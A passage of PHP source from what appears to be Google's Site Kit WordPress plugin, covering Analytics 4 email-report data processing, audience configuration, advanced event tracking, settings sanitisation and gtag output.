?? ''; if ( $resource_name ) { return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'totalUsers' ), ), 'dimensions' => array( array( 'name' => 'audienceResourceName' ), ), 'dimensionFilters' => array( 'audienceResourceName' => array( 'value' => $resource_name, ), ), 'keepEmptyRows' => true, ), true ); } return $this->with_current_range( array( 'metrics' => array( array( 'name' => 'activeUsers' ), ), 'dimensions' => array( array( 'name' => 'newVsReturning' ), ), 'dimensionFilters' => array( 'newVsReturning' => array( 'value' => $fallback_segment, ), ), 'keepEmptyRows' => true, ), true ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Report_Data_Builder * * @package Google\Site_Kit\Modules\Analytics_4\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Email_Reporting; use Google\Site_Kit\Core\Email_Reporting\Email_Report_Payload_Processor; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\User\Audience_Settings as User_Audience_Settings; use Google\Site_Kit\Modules\Analytics_4\Audience_Settings as Module_Audience_Settings; use Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Audience_Config; /** * Builds Analytics 4 email section payloads. * * @since 1.170.0 * @access private * @ignore */ class Report_Data_Builder { /** * Report processor instance. * * @since 1.170.0 * @var Email_Report_Payload_Processor */ protected $report_processor; /** * Analytics data processor instance. * * @since 1.170.0 * @var Report_Data_Processor */ protected $data_processor; /** * Optional map of audience resource name to display name. * * @since 1.170.0 * @var array */ protected $audience_display_map; /** * Constructor. * * @since 1.170.0 * * @param Email_Report_Payload_Processor|null $report_processor Optional. Report processor instance. * @param Report_Data_Processor|null $data_processor Optional. Analytics data processor. * @param array $audience_display_map Optional. Audience resource => display name map. * @param Context|null $context Optional. Plugin context for audience lookup. */ public function __construct( ?Email_Report_Payload_Processor $report_processor = null, ?Report_Data_Processor $data_processor = null, array $audience_display_map = array(), ?Context $context = null ) { $this->report_processor = $report_processor ?? new Email_Report_Payload_Processor(); $this->data_processor = $data_processor ?? new Report_Data_Processor(); $this->audience_display_map = $audience_display_map; if ( empty( $this->audience_display_map ) && $context instanceof Context ) { $audience_config = new Audience_Config( new User_Audience_Settings( new User_Options( $context ) ), new Module_Audience_Settings( new Options( $context ) ) ); $this->audience_display_map = $audience_config->get_available_audience_display_map(); } } /** * Builds section payloads from Analytics module data. * * @since 1.170.0 * * @param array $module_payload Module payload keyed by section slug. * @return array Section payloads. */ public function build_sections_from_module_payload( $module_payload ) { $sections = array(); foreach ( $module_payload as $section_key => $section_data ) { list( $reports ) = $this->normalize_section_input( $section_data ); foreach ( $reports as $report ) { $processed_report = $this->report_processor->process_single_report( $report ); if ( empty( $processed_report ) ) { continue; } $payload = $this->build_section_payload_from_processed_report( $processed_report, $section_key ); if ( empty( $payload ) ) { continue; } if ( empty( $payload['section_key'] ) || 0 === strpos( $payload['section_key'], 'report_' ) ) { $payload['section_key'] = $section_key; } if ( empty( $payload['title'] ) ) { $payload['title'] = ''; } $sections[] = $payload; } } return $sections; } /** * Normalizes analytics section input into reports and report configs. * * @since 1.170.0 * * @param mixed $section_data Section payload. * @return array Normalized analytics section input. */ protected function normalize_section_input( $section_data ) { $reports = array(); $report_configs = array(); if ( is_object( $section_data ) ) { $section_data = (array) $section_data; } if ( ! is_array( $section_data ) ) { return array( $reports, $report_configs ); } if ( $this->is_sequential_array( $section_data ) ) { foreach ( $section_data as $item ) { if ( is_array( $item ) ) { $reports[] = $item; } } } else { $reports[] = $section_data; } return array( $reports, $report_configs ); } /** * Builds a section payload from a processed GA4 report. * * @since 1.170.0 * * @param array $processed_report Processed report data. * @param string $section_key Section key. * @return array Section payload. */ public function build_section_payload_from_processed_report( $processed_report, $section_key ) { if ( empty( $processed_report ) || empty( $processed_report['metadata']['metrics'] ) ) { return array(); } return $this->build_analytics_section_payload( $processed_report, $section_key ); } /** * Builds analytics section payload, extracting dimensions, metrics, and trends. * * @since 1.170.0 * * @param array $processed_report Processed report data. * @param string $section_key Section key. * @return array Section payload. */ protected function build_analytics_section_payload( $processed_report, $section_key ) { $dimensions = $this->data_processor->get_analytics_dimensions( $processed_report ); list( $labels, $value_types, $metric_names ) = $this->data_processor->get_metric_metadata( $processed_report['metadata']['metrics'] ); list( $dimension_values, $dimension_metrics ) = $this->data_processor->aggregate_dimension_metrics( $dimensions, $processed_report['rows'] ?? array(), $metric_names ); list( $values, $trends ) = $this->report_processor->compute_metric_values_and_trends( $processed_report, $metric_names ); list( $values, $trends ) = $this->data_processor->apply_dimension_aggregates( $values, $trends, $dimension_values, $dimension_metrics, $metric_names ); list( $dimension_values, $labels ) = $this->maybe_format_audience_dimensions( $dimensions, $dimension_values, $labels ); return array( 'section_key' => $section_key, 'title' => $processed_report['metadata']['title'] ?? '', 'labels' => $labels, 'event_names' => $metric_names, 'values' => $values, 'value_types' => $value_types, 'trends' => $trends, 'trend_types' => $value_types, 'dimensions' => $dimensions, 'dimension_values' => $dimension_values, 'date_range' => null, ); } /** * Determines whether an array uses sequential integer keys starting at zero. * * @since 1.170.0 * * @param array $data Array to test. * @return bool Whether the array uses sequential integer keys starting at zero. */ protected function is_sequential_array( $data ) { if ( empty( $data ) ) { return true; } return array_keys( $data ) === range( 0, count( $data ) - 1 ); } /** * Formats audience dimension values and labels using stored display names. * * @since 1.170.0 * * @param array $dimensions Report dimensions. * @param array $dimension_values Dimension values. * @param array $labels Existing metric labels. * @return array Tuple of formatted dimension values and labels. */ protected function maybe_format_audience_dimensions( $dimensions, $dimension_values, $labels ) { if ( empty( $dimensions ) || 'audienceResourceName' !== $dimensions[0] || empty( $dimension_values ) ) { return array( $dimension_values, $labels ); } $formatted_values = array_map( function ( $dimension_value ) { if ( is_array( $dimension_value ) ) { return $dimension_value; } return $this->audience_display_map[ $dimension_value ] ?? $dimension_value; }, $dimension_values ); $labels = array_map( function ( $dimension_value ) { return is_array( $dimension_value ) ? ( $dimension_value['label'] ?? '' ) : $dimension_value; }, $formatted_values ); return array( $formatted_values, $labels ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Audience_Config * * @package Google\Site_Kit\Modules\Analytics_4\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Email_Reporting; use Google\Site_Kit\Core\User\Audience_Settings as User_Audience_Settings; use Google\Site_Kit\Modules\Analytics_4\Audience_Settings as Module_Audience_Settings; /** * Helper that provides configured audience metadata/maps. * * @since 1.167.0 */ final class Audience_Config { /** * User audience settings. * * @since 1.167.0 * * @var User_Audience_Settings */ private $user_settings; /** * Module audience settings. * * @since 1.167.0 * * @var Module_Audience_Settings */ private $module_settings; /** * Constructor. * * @since 1.167.0 * * @param User_Audience_Settings $user_settings User audience settings instance. * @param Module_Audience_Settings $module_settings Module audience settings instance. */ public function __construct( User_Audience_Settings $user_settings, Module_Audience_Settings $module_settings ) { $this->user_settings = $user_settings; $this->module_settings = $module_settings; } /** * Gets configured custom audiences and metadata. * * @since 1.167.0 * * @return array Configured audience payload with sanitized resource names and audience metadata list. */ public function get_configured_audiences() { $user_settings = $this->user_settings->get(); $configured = $this->sanitize_resource_names( $user_settings['configuredAudiences'] ?? array() ); if ( empty( $configured ) ) { return array( 'resource_names' => array(), 'audiences' => array(), ); } $available = $this->module_settings->get(); $available = is_array( $available ) ? $available : array(); $available_map = array(); foreach ( $available['availableAudiences'] ?? array() as $audience ) { if ( isset( $audience['name'] ) ) { $available_map[ $audience['name'] ] = $audience; } } $audience_metadata = array_map( function ( $resource_name ) use ( $available_map ) { $display_name = $available_map[ $resource_name ]['displayName'] ?? $resource_name; return array( 'resourceName' => $resource_name, 'displayName' => $display_name, ); }, $configured ); return array( 'resource_names' => $configured, 'audiences' => $audience_metadata, ); } /** * Builds a map of Site Kit audience slugs to resource names. * * @since 1.167.0 * * @return array Associative map of Site Kit audience slugs to resource names. */ public function get_site_kit_audience_map() { $available = $this->module_settings->get(); $available = is_array( $available ) ? $available : array(); $map = array(); foreach ( $available['availableAudiences'] ?? array() as $audience ) { if ( empty( $audience['audienceSlug'] ) || empty( $audience['name'] ) ) { continue; } $map[ $audience['audienceSlug'] ] = $audience['name']; } return $map; } /** * Builds a map of audience resource name to display name. * * @since 1.170.0 * * @return array Associative map of resource name => display name. */ public function get_available_audience_display_map() { $available = $this->module_settings->get(); $available = is_array( $available ) ? $available : array(); $map = array(); foreach ( $available['availableAudiences'] ?? array() as $audience ) { if ( empty( $audience['name'] ) ) { continue; } $resource_name = $audience['name']; $map[ $resource_name ] = $audience['displayName'] ?? $resource_name; } return $map; } /** * Sanitizes a list of audience resource names. * * @since 1.167.0 * * @param array $audience_resource_names Audience resource names. * @return array Sanitized list. */ public function sanitize_resource_names( array $audience_resource_names ) { $audience_resource_names = array_filter( array_map( function ( $resource_name ) { $resource_name = is_string( $resource_name ) ? trim( $resource_name ) : ''; return '' !== $resource_name ? $resource_name : null; }, $audience_resource_names ) ); return array_values( array_unique( $audience_resource_names ) ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Email_Reporting\Report_Data_Processor * * @package Google\Site_Kit\Modules\Analytics_4\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Email_Reporting; /** * Processes Analytics 4 report data for email reporting. * * @since 1.170.0 * @access private * @ignore */ class Report_Data_Processor { /** * Returns analytics dimensions excluding helper values. * * @since 1.170.0 * * @param array $processed_report Processed report data. * @return array Dimensions. */ public function get_analytics_dimensions( $processed_report ) { $dimensions = isset( $processed_report['metadata']['dimensions'] ) && is_array( $processed_report['metadata']['dimensions'] ) ? $processed_report['metadata']['dimensions'] : array(); return array_values( array_filter( $dimensions, static function ( $dimension ) { return 'dateRange' !== $dimension; } ) ); } /** * Builds metric labels, types, and names from metric metadata. * * @since 1.170.0 * * @param array $metrics Metric metadata. * @return array Array with labels, value types, and metric names. */ public function get_metric_metadata( $metrics ) { $labels = array(); $value_types = array(); $metric_names = array(); foreach ( $metrics as $metric_meta ) { $metric_name = $metric_meta['name']; $metric_names[] = $metric_name; $labels[] = $metric_meta['name']; $value_types[] = $metric_meta['type'] ?? 'TYPE_STANDARD'; } return array( $labels, $value_types, $metric_names ); } /** * Aggregates metric values per primary dimension and date range. * * @since 1.170.0 * * @param array $dimensions Dimensions list. * @param array $rows Report rows. * @param array $metric_names Metric names. * @return array Tuple of dimension values and aggregated metrics. */ public function aggregate_dimension_metrics( $dimensions, $rows, $metric_names ) { $dimension_values = array(); $dimension_metrics = array(); if ( empty( $dimensions ) || empty( $rows ) || empty( $metric_names ) || ! is_array( $rows ) ) { return array( $dimension_values, $dimension_metrics ); } $primary_dimension = $dimensions[0]; foreach ( $rows as $row ) { if ( ! isset( $row['dimensions'][ $primary_dimension ] ) ) { continue; } $dimension_value = $row['dimensions'][ $primary_dimension ]; if ( '' === $dimension_value ) { continue; } $dimension_values[ $dimension_value ] = isset( $dimensions[1], $row['dimensions'][ $dimensions[1] ] ) ? array( 'label' => $dimension_value, 'url' => $row['dimensions'][ $dimensions[1] ], ) : $dimension_value; foreach ( $metric_names as $metric_name ) { if ( ! isset( $row['metrics'][ $metric_name ] ) ) { continue; } $metric_value = $row['metrics'][ $metric_name ]; if ( ! is_numeric( $metric_value ) ) { continue; } $date_range_key = $row['dimensions']['dateRange'] ?? 'date_range_0'; if ( ! isset( $dimension_metrics[ $dimension_value ][ $metric_name ][ $date_range_key ] ) ) { $dimension_metrics[ $dimension_value ][ $metric_name ][ $date_range_key ] = 0; } $dimension_metrics[ $dimension_value ][ $metric_name ][ $date_range_key ] += floatval( $metric_value ); } } return array( array_values( $dimension_values ), $dimension_metrics ); } /** * Applies per-dimension aggregates to values and trends when available. * * @since 1.170.0 * * @param array $values Base values. * @param array $trends Base trends. * @param array $dimension_values Dimension values. * @param array $dimension_metrics Aggregated dimension metrics. * @param array $metric_names Metric names. * @return array Tuple of values and trends. */ public function apply_dimension_aggregates( $values, $trends, $dimension_values, $dimension_metrics, $metric_names ) { if ( empty( $dimension_metrics ) || empty( $metric_names ) ) { return array( $values, $trends ); } $values = array(); $trends = array(); $metric_name = $metric_names[0]; foreach ( $dimension_values as $dimension_value_entry ) { $dimension_value = is_array( $dimension_value_entry ) ? ( $dimension_value_entry['label'] ?? '' ) : $dimension_value_entry; $current = $dimension_metrics[ $dimension_value ][ $metric_name ]['date_range_0'] ?? null; $comparison = $dimension_metrics[ $dimension_value ][ $metric_name ]['date_range_1'] ?? null; $values[] = null === $current ? null : $current; if ( null === $comparison || 0 === $comparison ) { $trends[] = null; } else { $trends[] = ( (float) $current - (float) $comparison ) / (float) $comparison * 100; } } return array( $values, $trends ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking\Event * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking; use Exception; /** * Class for representing a single tracking event that Advanced_Tracking tracks. * * @since 1.18.0. * @since 1.121.0 Migrated from the Analytics (UA) namespace. * @access private * @ignore */ final class Event implements \JsonSerializable { /** * The measurement event's configuration. * * @since 1.18.0. * @var array */ private $config; /** * Event constructor. * * @since 1.18.0. * * @param array $config { * The event's configuration. * * @type string $action Required. The event action / event name to send. * @type string $on Required. The DOM event to send the event for. * @type string $selector Required, unless $on is 'DOMContentLoaded'. The DOM selector on which to listen * to the $on event. * @type array|null $metadata Optional. Associative array of event metadata to send, such as 'event_category', * 'event_label' etc, or null to not send any extra event data. * } * @throws Exception Thrown when config param is undefined. */ public function __construct( $config ) { $this->config = $this->validate_config( $config ); } /** * Returns an associative event containing the event attributes. * * @since 1.18.0. * * @return array The configuration in JSON-serializable format. */ #[\ReturnTypeWillChange] public function jsonSerialize() { return $this->config; } /** * Returns the measurement event configuration. * * @since 1.18.0. * * @return array The config. */ public function get_config() { return $this->config; } /** * Validates the configuration keys and value types. * * @since 1.18.0. * * @param array $config The event's configuration. * @return array The event's configuration. * @throws Exception Thrown when invalid keys or value type. */ private function validate_config( $config ) { $valid_keys = array( 'action', 'selector', 'on', 'metadata', ); foreach ( $config as $key => $value ) { if ( ! in_array( $key, $valid_keys, true ) ) { throw new Exception( 'Invalid configuration parameter: ' . $key ); } } if ( ! array_key_exists( 'metadata', $config ) ) { $config['metadata'] = null; } if ( array_key_exists( 'on', $config ) && 'DOMContentLoaded' === $config['on'] ) { $config['selector'] = ''; } foreach ( $valid_keys as $key ) { if ( ! array_key_exists( $key, $config ) ) { throw new Exception( 'Missed configuration parameter: ' . $key ); } } return $config; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking\Script_Injector * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Manifest; use Google\Site_Kit\Core\Util\BC_Functions; /** * Class for injecting JavaScript based on the registered event configurations. * * @since 1.18.0. * @since 1.121.0 Migrated from the Analytics (UA) namespace. * @access private * @ignore */ final class Script_Injector { /** * Plugin context. * * @since 1.18.0. * @var Context */ protected $context; /** * Constructor. * * @since 1.18.0. * * @param Context $context Plugin context. */ public function __construct( Context $context ) { $this->context = $context; } /** * Creates list of measurement event configurations and javascript to inject. * * @since 1.18.0. * * @param array $events The map of Event objects, keyed by their unique ID. */ public function inject_event_script( $events ) { if ( empty( $events ) ) { return; } list( $filename ) = Manifest::get( 'analytics-advanced-tracking' ); if ( ! $filename ) { // Get file contents of script and add it to the page, injecting event configurations into it. $filename = 'analytics-advanced-tracking.js'; } $script_path = $this->context->path( "dist/assets/js/{$filename}" ); // phpcs:ignore WordPress.WP.AlternativeFunctions, WordPressVIPMinimum.Performance.FetchingRemoteData $script_content = file_get_contents( $script_path ); if ( ! $script_content ) { return; } $data_var = sprintf( 'var _googlesitekitAnalyticsTrackingData = %s;', wp_json_encode( array_values( $events ) ) ); BC_Functions::wp_print_inline_script_tag( $data_var . "\n" . $script_content ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking\AMP_Config_Injector * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking; /** * Class for injecting JavaScript based on the registered event configurations. * * @since 1.18.0. * @access private * @ignore */ final class AMP_Config_Injector { /** * Creates list of measurement event configurations and javascript to inject. * * @since 1.18.0. * @since 1.121.0 Migrated from the Analytics (UA) namespace. * * @param array $gtag_amp_opt gtag config options for AMP. * @param array $events The map of Event objects, keyed by their unique ID. * @return array Filtered $gtag_amp_opt. */ public function inject_event_configurations( $gtag_amp_opt, $events ) { if ( empty( $events ) ) { return $gtag_amp_opt; } if ( ! array_key_exists( 'triggers', $gtag_amp_opt ) ) { $gtag_amp_opt['triggers'] = array(); } foreach ( $events as $amp_trigger_key => $event ) { $event_config = $event->get_config(); $amp_trigger = array(); if ( 'DOMContentLoaded' === $event_config['on'] ) { $amp_trigger['on'] = 'visible'; } else { $amp_trigger['on'] = $event_config['on']; $amp_trigger['selector'] = $event_config['selector']; } $amp_trigger['vars'] = array(); $amp_trigger['vars']['event_name'] = $event_config['action']; if ( is_array( $event_config['metadata'] ) ) { foreach ( $event_config['metadata'] as $key => $value ) { $amp_trigger['vars'][ $key ] = $value; } } $gtag_amp_opt['triggers'][ $amp_trigger_key ] = $amp_trigger; } return $gtag_amp_opt; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking\Event_List * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking; /** * Base class representing a tracking event list. * * @since 1.18.0. * @since 1.121.0 Migrated from the Analytics (UA) namespace. * @access private * @ignore */ abstract class Event_List { /** * Container for events. * * @since 1.18.0. * @var array Map of events for this list, keyed by their unique ID. */ private $events = array(); /** * Adds events or registers WordPress hook callbacks to add events. * * Children classes should extend this to add their events, either generically or by dynamically collecting * metadata through WordPress hooks. * * @since 1.18.0. */ abstract public function register(); /** * Adds a measurement event to the measurement events array. * * @since 1.18.0. * * @param Event $event The measurement event object. */ protected function add_event( Event $event ) { $hash = md5( wp_json_encode( $event ) ); $this->events[ $hash ] = $event; } /** * Gets the measurement events array. * * @since 1.18.0. * * @return array The map of events for this list, keyed by their unique ID. */ public function get_events() { return $this->events; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking\Event_List_Registry * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Advanced_Tracking; /** * Class for registering third party event lists. * * @since 1.18.0. * @since 1.121.0 Migrated from the Analytics (UA) namespace. * @access private * @ignore */ class Event_List_Registry { /** * The list of registered event lists. * * @since 1.18.0. * @var Event_List[] */ private $event_lists = array(); /** * Registers an event list. * * @since 1.18.0. * * @param Event_List $event_list The event list to be registered. */ public function register_list( Event_List $event_list ) { $this->event_lists[] = $event_list; } /** * Gets the list of registered event lists. * * @since 1.18.0. * * @return Event_List[] The list of registered event lists. */ public function get_lists() { return $this->event_lists; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Settings * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ // phpcs:disable Generic.Metrics.CyclomaticComplexity.MaxExceeded namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Interface; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Trait; use Google\Site_Kit\Core\Storage\Setting_With_ViewOnly_Keys_Interface; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; /** * Class for Analytics 4 settings. * * @since 1.30.0 * @access private * @ignore */ class Settings extends Module_Settings implements Setting_With_Owned_Keys_Interface, Setting_With_ViewOnly_Keys_Interface { use Setting_With_Owned_Keys_Trait; use Method_Proxy_Trait; const OPTION = 'googlesitekit_analytics-4_settings'; /** * Registers the setting in WordPress. * * @since 1.30.0 */ public function register() { parent::register(); $this->register_owned_keys(); } /** * Returns keys for owned settings. * * @since 1.30.0 * * @return array An array of keys for owned settings. */ public function get_owned_keys() { return array( 'accountID', 'propertyID', 'webDataStreamID', 'measurementID', 'googleTagID', 'googleTagAccountID', 'googleTagContainerID', ); } /** * Returns keys for view-only settings. * * @since 1.113.0 * * @return array An array of keys for view-only settings. */ public function get_view_only_keys() { return array( 'availableCustomDimensions', 'adSenseLinked', 'detectedEvents', 'newConversionEventsLastUpdateAt', 'lostConversionEventsLastUpdateAt', ); } /** * Gets the default value. * * @since 1.30.0 * * @return array */ protected function get_default() { return array( 'ownerID' => 0, 'accountID' => '', 'adsConversionID' => '', 'propertyID' => '', 'webDataStreamID' => '', 'measurementID' => '', 'trackingDisabled' => array( 'loggedinUsers' ), 'useSnippet' => true, 'googleTagID' => '', 'googleTagAccountID' => '', 'googleTagContainerID' => '', 'googleTagContainerDestinationIDs' => null, 'googleTagLastSyncedAtMs' => 0, 'availableCustomDimensions' => null, 'propertyCreateTime' => 0, 'adSenseLinked' => false, 'adSenseLinkedLastSyncedAt' => 0, 'adsConversionIDMigratedAtMs' => 0, 'adsLinked' => false, 'adsLinkedLastSyncedAt' => 0, 'detectedEvents' => array(), 'newConversionEventsLastUpdateAt' => 0, 'lostConversionEventsLastUpdateAt' => 0, ); } /** * Gets the callback for sanitizing the setting's value before saving. * * @since 1.30.0 * * @return callable|null */ protected function get_sanitize_callback() { return function ( $option ) { if ( is_array( $option ) ) { if ( isset( $option['useSnippet'] ) ) { $option['useSnippet'] = (bool) $option['useSnippet']; } if ( isset( $option['googleTagID'] ) ) { if ( ! preg_match( '/^(G|GT|AW)-[a-zA-Z0-9]+$/', $option['googleTagID'] ) ) { $option['googleTagID'] = ''; } } if ( isset( $option['trackingDisabled'] ) ) { // Prevent other options from being saved if 'loggedinUsers' is selected. if ( in_array( 'loggedinUsers', $option['trackingDisabled'], true ) ) { $option['trackingDisabled'] = array( 'loggedinUsers' ); } else { $option['trackingDisabled'] = (array) $option['trackingDisabled']; } } $numeric_properties = array( 'googleTagAccountID', 'googleTagContainerID' ); foreach ( $numeric_properties as $numeric_property ) { if ( isset( $option[ $numeric_property ] ) ) { if ( ! is_numeric( $option[ $numeric_property ] ) || ! $option[ $numeric_property ] > 0 ) { $option[ $numeric_property ] = ''; } } } if ( isset( $option['googleTagContainerDestinationIDs'] ) ) { if ( ! is_array( $option['googleTagContainerDestinationIDs'] ) ) { $option['googleTagContainerDestinationIDs'] = null; } } if ( isset( $option['availableCustomDimensions'] ) ) { if ( is_array( $option['availableCustomDimensions'] ) ) { $valid_dimensions = array_filter( $option['availableCustomDimensions'], function ( $dimension ) { return is_string( $dimension ) && strpos( $dimension, 'googlesitekit_' ) === 0; } ); $option['availableCustomDimensions'] = array_values( $valid_dimensions ); } else { $option['availableCustomDimensions'] = null; } } if ( isset( $option['adSenseLinked'] ) ) { $option['adSenseLinked'] = (bool) $option['adSenseLinked']; } if ( isset( $option['adSenseLinkedLastSyncedAt'] ) ) { if ( ! is_int( $option['adSenseLinkedLastSyncedAt'] ) ) { $option['adSenseLinkedLastSyncedAt'] = 0; } } if ( isset( $option['adsConversionIDMigratedAtMs'] ) ) { if ( ! is_int( $option['adsConversionIDMigratedAtMs'] ) ) { $option['adsConversionIDMigratedAtMs'] = 0; } } if ( isset( $option['adsLinked'] ) ) { $option['adsLinked'] = (bool) $option['adsLinked']; } if ( isset( $option['adsLinkedLastSyncedAt'] ) ) { if ( ! is_int( $option['adsLinkedLastSyncedAt'] ) ) { $option['adsLinkedLastSyncedAt'] = 0; } } if ( isset( $option['newConversionEventsLastUpdateAt'] ) ) { if ( ! is_int( $option['newConversionEventsLastUpdateAt'] ) ) { $option['newConversionEventsLastUpdateAt'] = 0; } } if ( isset( $option['lostConversionEventsLastUpdateAt'] ) ) { if ( ! is_int( $option['lostConversionEventsLastUpdateAt'] ) ) { $option['lostConversionEventsLastUpdateAt'] = 0; } } } return $option; }; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Web_Tag * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Modules\Tags\Module_Web_Tag; use Google\Site_Kit\Core\Tags\GTag; use Google\Site_Kit\Core\Tags\Tag_With_Linker_Trait; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Tags\Tag_With_Linker_Interface; /** * Class for Web tag. * * @since 1.31.0 * @access private * @ignore */ class Web_Tag extends Module_Web_Tag implements Tag_Interface, Tag_With_Linker_Interface { use Method_Proxy_Trait; use Tag_With_Linker_Trait; /** * Custom dimensions data. * * @since 1.113.0 * @var array */ private $custom_dimensions; /** * Sets custom dimensions data. * * @since 1.113.0 * * @param string $custom_dimensions Custom dimensions data. */ public function set_custom_dimensions( $custom_dimensions ) { $this->custom_dimensions = $custom_dimensions; } /** * Sets the current home domain. * * @since 1.24.0 * * @param string $domain Domain name. */ public function set_home_domain( $domain ) { $this->home_domain = $domain; } /** * Gets args to use if blocked_on_consent is deprecated. * * @since 1.122.0 * * @return array args to pass to apply_filters_deprecated if deprecated ($version, $replacement, $message) */ protected function get_tag_blocked_on_consent_deprecated_args() { return array( '1.122.0', // Deprecated in this version. '', __( 'Please use the consent mode feature instead.', 'google-site-kit' ), ); } /** * Registers tag hooks. * * @since 1.31.0 */ public function register() { add_action( 'googlesitekit_setup_gtag', $this->get_method_proxy( 'setup_gtag' ) ); add_filter( 'script_loader_tag', $this->get_method_proxy( 'filter_tag_output' ), 10, 2 ); $this->do_init_tag_action(); } /** * Outputs gtag snippet. * * @since 1.24.0 */ protected function render() { // Do nothing, gtag script is enqueued. } /** * Configures gtag script. * * @since 1.24.0 * @since 1.124.0 Renamed and refactored to use new GTag infrastructure. * * @param GTag $gtag GTag instance. */ protected function setup_gtag( GTag $gtag ) { $gtag_opt = $this->get_tag_config(); /** * Filters the gtag configuration options for the Analytics snippet. * * You can use the {@see 'googlesitekit_amp_gtag_opt'} filter to do the same for gtag in AMP. * * @since 1.24.0 * * @see https://developers.google.com/gtagjs/devguide/configure * * @param array $gtag_opt gtag config options. */ $gtag_opt = apply_filters( 'googlesitekit_gtag_opt', $gtag_opt ); if ( ! empty( $gtag_opt['linker'] ) ) { $gtag->add_command( 'set', array( 'linker', $gtag_opt['linker'] ) ); unset( $gtag_opt['linker'] ); } $gtag->add_tag( $this->tag_id, $gtag_opt ); } /** * Filters output of tag HTML. * * @param string $tag Tag HTML. * @param string $handle WP script handle of given tag. * @return string */ protected function filter_tag_output( $tag, $handle ) { // The tag will either have its own handle or use the common GTag handle, not both. if ( GTag::get_handle_for_tag( $this->tag_id ) !== $handle && GTag::HANDLE !== $handle ) { return $tag; } // Retain this comment for detection of Site Kit placed tag. $snippet_comment = sprintf( "<!-- %s -->\n", esc_html__( 'Google Analytics snippet added by Site Kit', 'google-site-kit' ) ); $block_on_consent_attrs = $this->get_tag_blocked_on_consent_attribute(); if ( $block_on_consent_attrs ) { $tag = $this->add_legacy_block_on_consent_attributes( $tag, $block_on_consent_attrs ); } return $snippet_comment . $tag; } /** * Gets the tag config as used in the gtag data vars. * * @since 1.113.0 * * @return array Tag configuration. */ protected function get_tag_config() { $config = array(); if ( ! empty( $this->custom_dimensions ) ) { $config = array_merge( $config, $this->custom_dimensions ); } return $this->add_linker_to_tag_config( $config ); } /** * Adds HTML attributes to the gtag script tag to block it until user consent is granted. * * This mechanism for blocking the tag is deprecated and the consent mode feature should be used instead. * * @since 1.122.0 * @since 1.158.0 Remove src from signature & replacement. * * @param string $tag The script tag. * @param string $block_on_consent_attrs The attributes to add to the script tag to block it until user consent is granted. * * @return string The script tag with the added attributes. */ protected function add_legacy_block_on_consent_attributes( $tag, $block_on_consent_attrs ) { return str_replace( array( '<script src=', // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript "<script type='text/javascript' src=", // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript '<script type="text/javascript" src=', // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript ), // `type` attribute intentionally excluded in replacements. "<script{$block_on_consent_attrs} src=", // phpcs:ignore WordPress.WP.EnqueuedResources.NonEnqueuedScript $tag ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\ReportParsers * * @package Google\Site_Kit\Modules\Analytics_4\Report * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 